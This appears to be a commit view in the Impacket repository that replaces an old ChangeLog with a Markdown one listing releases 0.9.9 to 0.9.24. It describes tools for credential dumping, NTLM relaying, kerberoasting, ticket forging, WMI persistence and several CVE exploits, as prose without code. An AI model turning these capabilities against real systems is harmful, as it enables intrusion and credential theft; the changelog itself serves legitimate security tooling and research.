Merge branch 'master' into test-refactor-catchup

This commit is contained in:
Martin Gallo committed 2021-12-03 06:05:46 -08:00
commit ee3d988b06
32 files changed
+2349 -550

No files matched your search

-203
View File
@@ -1,203 +0,0 @@
Complete list of changes can be found at:
https://github.com/SecureAuthCorp/impacket/commits/master
June 2016: 0.9.15:
1) Library improvements
* SMB3.create: define CreateContextsOffset and CreateContextsLength when applicable (by @rrerolle)
* Retrieve user principal name from CCache file allowing to call any script with -k and just the target system (by @MrTchuss)
* Packet fragmentation for DCE RPC layer mayor overhaul.
* Improved pass-the-key attacks scenarios (by @skelsec)
* Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to
build the search filter yourself)
* IPv6 improvements for DCERPC/LDAP and Kerberos
2) Examples improvements
* Adding -dc-ip switch to all examples. It allows to specify what the IP for the domain is. It assumes the DC and KDC
resides in the same server
* secretsdump.py
a. Adding support for Win2016 TP4 in LOCAL or -use-vss mode
b. Adding -just-dc-user switch to download just a single user data (DRSUAPI mode only)
c. Support for different ReplEpoch (DRSUAPI only)
d. pwdLastSet is also included in the output file
e. New structures/flags added for 2016 TP5 PAM support
* wmiquery.py
a. Adding -rpc-auth-level switch (by @gadio)
* smbrelayx.py
a. Added option to specify authentication status code to be sent to requesting client (by @mgeeky)
b. Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)
3) New Examples
* GetUserSPNs.py: This module will try to find Service Principal Names that are associated with normal user account.
This is part of the kerberoast attack researched by Tim Medin (@timmedin)
* ntlmrelayx.py: smbrelayx.py on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)
(by @dirkjanm)
January 2016: 0.9.14:
1) Library improvements
* [MS-TSCH] - ATSVC, SASec and ITaskSchedulerService Interface implementations
* [MS-DRSR] - Directory Replication Service DRSUAPI Interface implementation
* Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved
* Unicode support (optional) for the SMBv1 stack (by @rdubourguais)
* NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)
* Kerberos support for TDS (MSSQL)
* Extended present flags support on RadioTap class
* Old DCERPC runtime code removed
2) Examples improvements
* mssqlclient.py: Added Kerberos authentication support
* atexec.py: It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2
* smbrelayx.py:
* If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default
* Added -c option to execute custom commands in the target (by @byt3bl33d3r)
* secretsdump.py:
a. Active Directory hashes/Kerberos keys are dumped using [MS-DRSR] (IDL_DRSGetNCChanges method)
by default. VSS method is still available by using the -use-vss switch
b. Added -just-dc (Extract only NTDS.DIT NTLM Hashes and Kerberos) and
-just-dc-ntlm ( only NTDS.DIT NTLM Hashes ) options
c. Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use -resumefile option
d. Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump ([MS-SAMR] 3.1.1.8.11.5)
e. Add support for multiple password encryption keys (PEK) (by @s0crat)
* goldenPac.py: Tests all DCs in domain and adding forest's enterprise admin group inside PAC
3) New examples
* raiseChild.py: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilege
escalation as detailed by Sean Metcalf at https://adsecurity.org/?p=1640
* netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)
May 2015: 0.9.13:
1) Library improvements
* Kerberos support for SMB and DCERPC featuring:
a. kerberosLogin() added to SMBConnection (all SMB versions).
b. Support for RPC_C_AUTHN_GSS_NEGOTIATE at the DCERPC layer. This will
negotiate Kerberos. This also includes DCOM.
c. Pass-the-hash, pass-the-ticket and pass-the-key support.
d. Ccache support, compatible with Kerberos utilities (kinit, klist, etc).
e. Support for RC4, AES128_CTS_HMAC_SHA1_96 and AES256_CTS_HMAC_SHA1_96 ciphers.
f. Support for RPC_C_AUTHN_LEVEL_PKT_PRIVACY/RPC_C_AUTHN_LEVEL_PKT_INTEGRITY.
* [MS-SAMR]: Supplemental Credentials support (used by secretsdump.py)
* SMBSERVER improvements:
a. SMB2 (2.002) dialect experimental support.
b. Adding capability to export to John The Ripper format files
* Library logging overhaul. Now there's a single logger called 'impacket'.
2) Examples improvements
* Added Kerberos support to all modules (incl. pass-the-ticket/key)
* Ported most of the modules to the new dcerpc.v5 runtime.
* secretsdump.py: Added dumping Kerberos keys when parsing NTDS.DIT
* smbserver.py: support for SMB2 (not enabled by default)
* smbrelayx.py: Added support for MS15-027 exploitation.
3) New examples
* goldenPac.py: MS14-068 exploit. Saves the golden ticket and also launches a
psexec session at the target.
* karmaSMB.py: SMB Server that answers specific file contents regardless of
the SMB share and pathname requested.
* wmipersist.py: Creates persistence over WMI. Adds/Removes WMI Event
Consumers/Filters to execute VBS based on a WQL filter or timer specified.
July 2014: 0.9.12:
1) The following protocols were added based on its standard definition
* [MS-DCOM] - Distributed Component Object module Protocol (dcom.py)
* [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py)
* [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py)
2) New examples
a. wmiquery.py: executes WMI queries and get WMI object's descriptions.
b. wmiexec.py: agent-less, semi-interactive shell using WMI.
c. smbserver.py: quick an easy way to share files using the SMB protocol.
February 2014: 0.9.11:
1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available)
a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)
b. Support for RPC_C_AUTHN_NETLOGON (experimental)
c. The following interface were developed based on its standard definition:
* [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)
* [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)
* [MS-NRPC] - Netlogon Remote Protocol (nrpc.py)
* [MS-RRP] - Windows Remote Registry Protocol (rrp.py)
* [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py)
* [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py)
* [MS-SRVS] - Server Service Remote Protocol (srvs.py)
* [MS-WKST] - Workstation Service Remote Protocol (wkst.py)
* [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py)
* [MS-DTYP] - Windows Data Types (dtypes.py)
Most of the DCE Calls have helper functions for easier use. Test cases added for
all calls (check the test cases directory)
2) ESE parser (Extensive Storage Engine) (ese.py)
3) Windows Registry parser (winregistry.py)
4) TDS protocol now supports SSL, can be used from mssqlclient
5) Support for EAPOL, EAP and WPS decoders
6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi
7) New examples
a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server
b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)
c. ntfs-read.py: mini shell for browsing an NTFS volume
d. registry-read.py: Windows offline registry reader
e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)
March 2013: 0.9.10:
1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending.
2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent.
It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available
methods across all the protocols.
3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers.
4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.
5) DCERPC Endpoints' new calls
a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects.
6) New examples
a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives
you an SQL prompt for your pleasure.
b. mssqlinstance.py: Lists the MS SQL instances running on a target machine.
c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the
UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to
develop new functionality to interact against a target interface.
d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the
technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also
supports instantiating a local smbserver to receive the output of the commandos executed for those situations
where no share is available on the other end.
e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly.
And finally tons of fixes :).
July 2012: 0.9.9:
1) Added 802.11 packets encoding/decoding
2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class.
3) SMB/DCERPC
a. GSS-API/SPNEGO Support.
b. SPN support in auth blob.
c. NTLM2 and NTLMv2 support.
d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name.
e. Pass the hash supported for SMB/DCE-RPC.
f. IPv6 support for SMB/NMB/DCERPC.
g. DOMAIN support for authentication.
h. SMB signing support when server enforces it.
i. DCERPC signing/sealing for all NTLM flavours.
j. DCERPC transport now accepts an already established SMB connection.
k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by
forwarding named pipes requests).
l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's
not functional.
4) DCERPC Endpoints' new calls
a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(),
NetprNameCanonicalize().
b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(),
StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW().
c. WKSSVC: NetrWkstaTransportEnum().
d. SAMR: OpenAlias(), GetMembersInAlias().
e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose().
5) New examples
a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list
of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is
listed and/or listening.
b. lookupsid.py: DCE/RPC lookup sid brute forcer example.
c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first
256 operation numbers in turn and reports the outcome of each call.
d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).
e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented.
f. smbrelayx: Passes credentials to a third party server when doing MiTM.
g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but
not enforced. Tested under Windows, Linux and MacOS clients.
h. smbclient.py: now supports history, new commands also added.
i. psexec.py: Execute remote commands on Windows machines
+561
View File
@@ -0,0 +1,561 @@
# ChangeLog
Project's main page at [www.secureauth.com](https://www.secureauth.com/labs/open-source-tools/impacket).
Complete list of changes can be found at:
https://github.com/SecureAuthCorp/impacket/commits/master
## Unreleased changes
## Impacket v0.9.24 (October 2021):
1. Library improvements
* Fixed WMI objects parsing (@franferrax)
* Added the RpcAddPrinterDriverEx method and related structures to [MS-RPRN]: Print System Remote Protocol (@cube0x0)
* Initial implementation of [MS-PAR]: Print System Asynchronous Remote Protocol (@cube0x0)
* Complying MS-RPCH with HTTP/1.1 (@mohemiv)
* Added return of server time in case of Kerberos error (@ShutdownRepo and @Hackndo)
2. Examples improvements
* [getST.py](examples/getST.py):
* Added support for a custom additional ticket for S4U2Proxy (@ShutdownRepo)
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* Added Negotiate authentication support to the HTTP server (@LZD-TMoreggia)
* Added anonymous session handling in the HTTP server (@0xdeaddood)
* Fixed error in ldapattack.py when trying to escalate with machine account (@Rcarnus)
* Added the implementation of AD CS attack (@ExAndroidDev)
* Disabled the anonymous logon in the SMB server (@ly4k)
* [psexec.py](examples/psexec.py):
* Fixed decoding problems on multi bytes characters (@p0dalirius)
* [reg.py](examples/reg.py):
* Implemented ADD and DELETE functionalities (@Gifts)
* [secretsdump.py](examples/secretsdump.py):
* Speeding up NTDS parsing (@skelsec)
* [smbclient.py](examples/smbclient.py):
* Added 'mget' command which allows the download of multiple files (@deadjakk)
* Handling empty search count in FindFileBothDirectoryInfo (@martingalloar)
* [smbpasswd.py](examples/smbpasswd.py):
* Added the ability to change a user's password providing NTLM hashes (@snovvcrash)
* [smbserver.py](examples/smbserver.py):
* Added NULL SMBv2 client connection handling (@0xdeaddood)
* Hardened path checks and Added TID checks (@martingalloar)
* Added SMB2 support to QUERY_INFO Request and Enabled SMB_COM_FLUSH method (@0xdeaddood)
* Added missing constant and structure for the QUERY_FS Information Level SMB_QUERY_FS_DEVICE_INFO (@martingalloar)
* [wmipersist.py](examples/wmipersist.py):
* Fixed VBA script execution and improved error checking (@franferrax)
3. New examples
* [rbcd.py](examples/rbcd.py): Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer (@ShutdownRepo and @p0dalirius) (based on the previous work of @tothi and @NinjaStyle82)
As always, thanks a lot to all these contributors that make this library better every day (since last version):
@deadjakk @franferrax @cube0x0 @w0rmh013 @skelsec @mohemiv @LZD-TMoreggia @exploide @ShutdownRepo @Hackndo @snovvcrash @rmaksimov @Gifts @Rcarnus @ExAndroidDev @ly4k @p0dalirius
## Impacket v0.9.23 (June 2021):
1. Library improvements
* Support connect timeout with SMBTransport (@vruello)
* Speeding up DcSync (@mohemiv)
* Fixed Python3 issue when serving SOCKS5 requests (@agsolino)
* Moved docker container to Python 3.8 (@mgallo)
* Added basic GitHub Actions workflow (@mgallo)
* Fixed Path Traversal vulnerabilities in `smbserver.py` - CVE-2021-31800 (@omriinbar AppSec Researcher at CheckMarx)
* Fixed POST request processing in `httprelayserver.py` (@Rcarnus)
* Added cat command to `smbclient.py` (@mxrch)
* Added new features to the LDAP Interactive Shell to facilitate AD exploitation (@AdamCrosser)
* Python 3.9 support (@meeuw and @cclauss)
2. Examples improvements
* [addcomputer.py](examples/addcomputer.py):
* Enable the machine account created via SAMR (@0xdeaddood)
* [getST.py](examples/getST.py):
* Added exploit for CVE-2020-17049 - Kerberos Bronze Bit attack (@jakekarnes42)
* Compute NTHash and AESKey for the Bronze Bit attack automatically (@snovvcrash)
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* Fixed target parsing error (@0xdeaddood)
* [wmipersist.py](examples/wmipersist.py):
* Fixed `filterBinding` error (@franferrax)
* Added PowerShell option for semi-interactive shells in `dcomexec.py`, `smbexec.py`
and `wmiexec.py` (@snovvcrash)
* Added new parameter to select `COMVERSION` in `dcomexec.py`, `wmiexec.py`,
`wmipersist.py` and `wmiquery.py` (@zexusx26)
3. New examples
* [Get-GPPPassword.py](examples/Get-GPPPassword.py): This example extracts and decrypts
Group Policy Preferences passwords using streams for treating files instead of mounting
shares. Additionally, it can parse GPP XML files offline (@ShutdownRepo and @p0dalirius)
* [smbpasswd.py](examples/smbpasswd.py): This script is an alternative to `smbpasswd` tool and
intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR) (@snovvcrash)
As always, thanks a lot to all these contributors that make this library better every day (since last version):
@mpgn @vruello @mohemiv @jagotu @jakekarnes42 @snovvcrash @zexusx26 @omriinbar @Rcarnus @nuschpl @mxrch @ShutdownRepo @p0dalirius @AdamCrosser @franferrax @meeuw and @cclauss
## Impacket v0.9.22 (November 2020):
1. Library improvements
* Added implementation of RPC over HTTP v2 protocol (by @mohemiv).
* Added `[MS-NSPI]`, `[MS-OXNSPI]` and `[MS-OXABREF]` protocol implementations (by @mohemiv).
* Improved the multi-page results in LDAP queries (by @ThePirateWhoSmellsOfSunflowers).
* NDR parser optimization (by @mohemiv).
* Improved serialization of WMI method parameters (by @tshmul).
* Introduce the `[MS-NLMP]` `2.2.2.10` `VERSION` structure in `NTLMAuthNegotiate` messages (by @franferrax).
* Added some NETLOGON structs for `NetrServerPasswordSet2` (by @dirkjanm).
* Python 3.8 support.
2. Examples improvements
* [atexec.py](examples/atexec.py):
* Fixed after MS patches related to RPC attacks (by @mohemiv).
* [dpapi.py](examples/dpapi.py):
* Added `-no-pass`, `pass-the-hash` and AES Key support for backup subcommand.
* [GetNPUsers.py](examples/GetNPUsers.py):
* Added ability to enumerate targets with Kerberos KRB5CC (by @rmaksimov).
* [GetUserSPNs.py](examples/GetUserSPNs.py):
* Added new features for kerberoasting (by @mohemiv).
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* Added ability to relay on new Windows versions that have SMB guest access disabled by default.
* Added option to specify the NTLM Server Challenge used when receiving a connection.
* Added relaying to RPC support (by @mohemiv).
* Implemented WCFRelayServer (by @cnotin).
* Added Zerologon DCSync Relay Client (by @dirkjanm).
* Fixed issue in ldapattack.py when relaying and creating computer in CN=Computers (by @Hackndo).
* [rpcdump.py](examples/rpcdump.py):
* Added RPC over HTTP v2 support (by @mohemiv).
* [secretsdump.py](examples/secretsdump.py):
* Added ability to specifically delete a shadow based on its ID (by @phefley).
* Dump plaintext machine account password when dumping the local registry secrets(by @dirkjanm).
3. New examples
- [exchanger.py](examples/exchanger.py): A tool for connecting to MS Exchange via
RPC over HTTP v2 (by @mohemiv).
- [rpcmap.py](examples/rpcmap.py): Scan for listening DCE/RPC interfaces (by @mohemiv).
As always, thanks a lot to all these contributors that make this library better every day (since last version):
@mohemiv @mpgn @Romounet @ThePirateWhoSmellsOfSunflowers @rmaksimov @fuzzKitty @tshmul @spinenkoia @AaronRobson @ABCIFOGeowi40 @cclauss @cnotin @5alt @franferrax @Dliv3 @dirkjanm @Mr-Gag @vbersier @phefley @Hackndo
## Impacket v0.9.21 (March 2020):
1. Library improvements
* New methods into `CCache` class to import/export kirbi (`KRB-CRED`) formatted tickets (by @Zer1t0).
* Add `FSCTL_SRV_ENUMERATE_SNAPSHOTS` functionality to `SMBConnection` (by @rxwx).
* Changes in NetBIOS classes in `nmb.py` (`select()` by `poll()` read from socket) (by @cnotin).
* Timestamped logging added.
* Interactive shell to perform LDAP operations (by @mlefebvre).
* Added two DCE/RPC calls in `tsch.py` (by @mohemiv).
* Single-source the version number and standardize on semantic + pre-release + local versioning (by @jsherwood0).
* Added implementation for keytab files (by @kcirtapw).
* Added SMB 3.1.1 support for Client SMB Connections.
2. Examples improvements
* [smbclient.py](examples/smbclient.py):
* List the VSS snapshots for a specified path (by @rxwx).
* [GetUserSPNs.py](examples/GetUserSPNs.py):
* Added delegation information associated with accounts (by @G0ldenGunSec).
* [dpapi.py](examples/dpapi.py):
* Added more functions to decrypt masterkeys based on SID + hashes/key. Also support supplying hashes instead of the password for decryption(by @dirkjanm).
* Pass the hash support for backup key retrieval (by @imaibou).
* Added feature to decrypt a user's masterkey using the MS-BKRP (by @imaibou).
* [raiseChild.py](examples/raiseChild.py):
* Added a new flag to specify the RID of a user to dump credentials (by @0xdeaddood).
* Added flags to bypass badly made detection use cases (by @MaxNad):
* [smbexec.py](examples/smbexec.py):
* Possibility to rename the PSExec uploaded binary name with the `-remote-binary-name` flag.
* [psexec.py](examples/psexec.py):
* Possibility to use another service name with the `-service-name` flag.
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* Added a flag to use a SID as the escalate user for delegation attacks (by @0xe7).
* Support for dumping LAPS passwords (by @praetorian-adam-crosser).
* Added LDAP interactive mode that allow an attacker to manually perform basic operations
like creating a new user, adding a user to a group , dump the AD, etc. (by @mlefebvre).
* Support for multiple relays through one SMB connection (by @0xdeaddood).
* Added support for dumping gMSA passwords (by @cube0x0).
* [ticketer.py](examples/ticketer.py):
* Added an option to use the SPNs keys from a keytab for a silver ticket(by @kcirtapw)
3. New Examples
- [addcomputer.py](examples/addcomputer.py): Allows add a computer to a domain using LDAP
or SAMR (SMB) (by @jagotu)
- [ticketConverter.py](examples/ticketConverter.py): This script converts kirbi files,
commonly used by mimikatz, into ccache files used by Impacket, and vice versa (by @Zer1t0).
- [findDelegation.py](examples/findDelegation.py): Simple script to quickly list all
delegation relationships (unconstrained, constrained, resource-based constrained) in
an AD environment (by @G0ldenGunSec).
As always, thanks a lot to all these contributors that make this library better every day (since last version):
@jagotu, @Zer1t0 ,@rxwx, @mpgn, @danhph, @awsmhacks, @slasyz, @cnotin, @exploide, @G0ldenGunSec, @dirkjanm, @0xdeaddood, @MaxNad, @imaibou, @BarakSilverfort, @0xe7, @mlefebvre, @rmaksimov, @praetorian-adam-crosser, @jsherwood0, @mohemiv, @justin-p, @cube0x0, @spinenkoia, @kcirtapw, @MrAnde7son, @fridgehead, @MarioVilas.
## Impacket v0.9.20 (September 2019):
1. Library improvements
* Python 3.6 support! This is the first release supporting Python 3.x so please issue tickets
whenever you find something not working as expected. Libraries and examples should be fully
functional.
* Test coverage [improvements](https://github.com/SecureAuthCorp/impacket/pull/540) by @infinnovation-dev
* Anonymous SMB 2.x Connections are not encrypted anymore (by @cnotin)
* Support for [multiple PEKs](https://github.com/SecureAuthCorp/impacket/pull/618) when decrypting Windows 2016 DIT files (by @mikeryan)
2. Examples improvements
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* [CVE-2019-1019](https://github.com/SecureAuthCorp/impacket/pull/635): Bypass SMB singing for unpatched (by @msimakov)
* Added [POC](https://github.com/SecureAuthCorp/impacket/pull/637) code for CVE-2019-1040 (by @dirkjanm)
* Added NTLM relays leveraging [Webdav](https://github.com/SecureAuthCorp/impacket/pull/652) authentications (by @salu90)
3. New Examples
* [kintercept.py](examples/kintercept.py): A tool for intercepting krb5 connections and for
testing KDC handling S4U2Self with unkeyed checksum (by @iboukris)
As always, thanks a lot to all these contributors that make this library better every day (since last version):
@infinnovation-dev, @cnotin, @mikeryan, @SR4ven, @cclauss, @skorov, @msimakov, @dirkjanm, @franferrax, @iboukris, @n1ngod, @c0d3z3r0, @MrAnde7son.
## Impacket v0.9.19 (April 2019):
1. Library improvements
* [[MS-EVEN]](impacket/dcerpc/v5/even.py) Interface implementation (Initial - by @MrAnde7son )
2. Examples improvements
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* Socks local admin check (by @imaibou)
* Add Resource Based Delegation features (by @dirkjanm)
* [smbclient.py](examples/smbclient.py):
* Added ability to create/remove mount points to exploit James Forshaw's
[Abusing Mount Points over the SMB Protocol](https://tyranidslair.blogspot.com/2018/12/abusing-mount-points-over-smb-protocol.html) technique (by @Qwokka)
* [GetST.py](examples/getST.py):
* Added resource-based constrained delegation support to S4U (@eladshamir)
* [GetNPUsers.py](examples/GetNPUsers.py):
* Added hashcat/john format and users file input (by @Zer1t0)
As always, thanks a lot to all these contributors that make this library better every day (since last version):
@dirkjanm, @MrAnde7son, @ibo, @franferrax, @Qwokka, @CaledoniaProject , @eladshamir, @Zer1t0, @martingalloar, @muizzk, @Petraea, @SR4ven, @Fist0urs, @Zer1t0.
## Impacket v0.9.18 (December 2018):
1. Library improvements
* Replace unmaintained PyCrypto for pycryptodome (@dirkjanm)
* Using cryptographically secure pseudo-random generators
* Kerberos "no pre-auth and RC4" handling in GetKerberosTGT (by @qlemaire)
* Test cases adjustments, travis and flake support (@cclauss)
* Python3 test cases fixes (@eldipa)
* Adding DPAPI / Vaults related structures and functions to decrypt secrets
* [[MS-RPRN]](impacket/dcerpc/v5/rprn.py) Interface implementation (Initial)
2. Examples improvements
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* Optimize ACL enumeration and improve error handling in ntlmrelayx LDAP attack (by @dirkjanm)
* [secretsdump.py](examples/secretsdump.py):
* Added dumping of machine account Kerberos keys (@dirkjanm). `DPAPI_SYSTEM` LSA Secret is now parsed and key contents are shown.
* [GetUserSPNs.py](examples/GetUserSPNs.py):
* Bugfixes and cross-domain support (@dirkjanm)
3. New Examples
* [dpapi.py](examples/dpapi.py): Allows decrypting vaults, credentials and masterkeys protected by DPAPI. Domain backup key support added by @MrAnde7son
As always, thanks a lot to all these contributors that make this library better every day (since last version):
@dirkjanm, @MrAnde7son, @franferrax, @MrRobot86, @qlemaire, @cauan, @eldipa.
## Impacket v0.9.17 (May 2018):
1. Library improvements
* New `[MS-PAC]` [Implementation](impacket/krb5/pac.py).
* [LDAP engine](impacket/ldap): Added extensibleMatch string filter parsing, simple
paging support and handling of unsolicited notification (by @kacpern)
* [ImpactDecoder](impacket/ImpactDecoder.py): Add `EAPOL`, `BOOTP` and `DHCP` packet
decoders (by Michael Niewoehner)
* [Kerberos engine](impacket/krb5): `DES-CBC-MD5` support to kerberos added (by @skelsec)
* [SMB3 engine](https://github.com/SecureAuthCorp/impacket/commit/f62fc5c3946430374f92404e892f8c48943d411c): If target server supports SMB >= 3, encrypt packets by default.
* Initial `[MS-DHCPM]` and `[MS-EVEN6]` Interface implementation by @MrAnde7son
* Major improvements to the [NetBIOS layer](https://github.com/SecureAuthCorp/impacket/commit/0808e45b796741aea4162bd756e3f54522e8045b).
More use of [structure.py](impacket/structure.py) in there.
* [MQTT](https://github.com/SecureAuthCorp/impacket/commit/8cef002928ca52be4e9476a87a54d836b5efa81e) Protocol Implementation and example.
* Tox/Coverage Support added, test cases moved to its own directory. Major overhaul.
* Many fixes and improvements in Kerberos, SMB and DCERPC (too much to name in a few lines).
2. Examples improvements
* [GetUserSPNs.py](examples/GetUserSPNs.py):
* `-request-user` parameter added. Requests STs for the SPN associated to the user
specified. Added support for AES Kerberoast tickets (by @elitest).
* [services.py](examples/services.py):
* Added port 139 support and related options (by @real-datagram).
* [samrdump.py](examples/samrdump.py):
* `-csv` switch to output format in CSV added.
* [ntlmrelayx.py](examples/ntlmrelayx.py):
* Major architecture overhaul. Now working mostly through dynamically loaded plugins. SOCKS proxy support for relayed connections. Specific attacks for every protocol and new protocols support (IMAP, POP3, SMTP). Awesome contributions by @dirkjanm.
* [secretsdump.py](examples/secretsdump.py):
* AES(128) support for SAM hashes decryption. OldVal parameter dump added to LSA
secrets dump (by @Ramzeth).
* [mssqlclient.py](examples/mssqlclient.py):
* Alternative method to execute cmd's on MSSQL (sp_start_job). (by @Kayzaks).
* [lsalookupsid.py](examples/lsalookupsid.py):
* Added no-pass and domain-users options (by @ropnop).
3. New Examples
* [ticketer.py](examples/ticketer.py): Create Golden/Silver tickets from scratch or
based on a template (legally requested from the KDC) allowing you to customize
some of the parameters set inside the `PAC_LOGON_INFO` structure, in particular the
groups, extrasids, duration, etc. Silver tickets creation by @machosec and @bransh.
* [GetADUsers.py](examples/GetADUsers.py): Gathers data about the domain's users and
their corresponding email addresses. It will also include some extra information
about last logon and last password set attributes.
* [getPac.py](examples/getPac.py): Gets the PAC (Privilege Attribute Certificate)
structure of the specified target user just having a normal authenticated user
credentials. It does so by using a mix of `[MS-SFU]`'s `S4USelf` + User to User
Kerberos Authentication.
* [getArch.py](examples/getArch.py): Will connect against a target (or list of targets)
machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.
* [mimikatz.py](examples/mimikatz.py): Mini shell to control a remote mimikatz RPC
server developed by @gentilkiwi.
* [sambaPipe.py](examples/sambaPipe.py): Will exploit CVE-2017-7494, uploading and
executing the shared library specified by the user through the `-so` parameter.
* [dcomexec.py](examples/dcomexec.py): A semi-interactive shell similar to `wmiexec.py`,
but using different DCOM endpoints. Currently supports `MMC20.Application`, `ShellWindows` and
`ShellBrowserWindow` objects. (contributions by @byt3bl33d3r).
* [getTGT.py](examples/getTGT.py): Given a password, hash or aesKey, this script will
request a TGT and save it as ccache.
* [getST.py](examples/getST.py): Given a password, hash, aesKey or TGT in ccache, this
script will request a Service Ticket and save it as ccache. If the account has constrained
delegation (with protocol transition) privileges you will be able to use the `-impersonate`
switch to request the ticket on behalf other user.
As always, thanks a lot to all these contributors that make this library better every day (since last version):
@dirkjanm, @real-datagram, @kacpern, @martinuy, @xelphene, @blark, @the-useless-one, @contactr2m, @droc, @martingalloar, @skelsec, @franferrax, @Fr0stbyt3, @ropnop, @MrAnde7son, @machosec, @federicoemartinez, @elitest, @symeonp, @Kanda-Motohiro, @Ramzeth, @mohemiv, @arch4ngel, @derekchentrendmicro, @Kayzaks, @donwayo, @bao7uo, @byt3bl33d3r, @xambroz, @luzpaz, @TheNaterz, @Mikkgn, @derUnbekannt.
## Impacket v0.9.15 (June 2016):
1. Library improvements
* `SMB3.create`: define `CreateContextsOffset` and `CreateContextsLength` when applicable (by @rrerolle)
* Retrieve user principal name from `CCache` file allowing to call any script with `-k` and just the target system (by @MrTchuss)
* Packet fragmentation for DCE RPC layer mayor overhaul.
* Improved pass-the-key attacks scenarios (by @skelsec)
* Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to
build the search filter yourself)
* IPv6 improvements for DCERPC/LDAP and Kerberos
2. Examples improvements
* Adding `-dc-ip` switch to all examples. It allows specifying what the IP for the domain is.
It assumes the DC and KDC resides in the same server.
* `secretsdump.py`:
* Adding support for Win2016 TP4 in LOCAL or `-use-vss` mode
* Adding `-just-dc-user` switch to download just a single user data (DRSUAPI mode only)
* Support for different ReplEpoch (DRSUAPI only)
* pwdLastSet is also included in the output file
* New structures/flags added for 2016 TP5 PAM support
* `wmiquery.py`:
* Adding `-rpc-auth-level` switch (by @gadio)
* `smbrelayx.py`:
* Added option to specify authentication status code to be sent to requesting client (by @mgeeky)
* Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)
3. New Examples
* `GetUserSPNs.py`: This module will try to find Service Principal Names that are associated with normal user account.
This is part of the kerberoast attack researched by Tim Medin (@timmedin)
* `ntlmrelayx.py`: `smbrelayx.py` on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)
(by @dirkjanm)
## Impacket v0.9.14 (January 2016):
1. Library improvements
* `[MS-TSCH]` - ATSVC, SASec and ITaskSchedulerService Interface implementations
* `[MS-DRSR]` - Directory Replication Service DRSUAPI Interface implementation
* Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved
* Unicode support (optional) for the SMBv1 stack (by @rdubourguais)
* NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)
* Kerberos support for TDS (MSSQL)
* Extended present flags support on RadioTap class
* Old DCERPC runtime code removed
2. Examples improvements
* `mssqlclient.py`:
* Added Kerberos authentication support
* `atexec.py`:
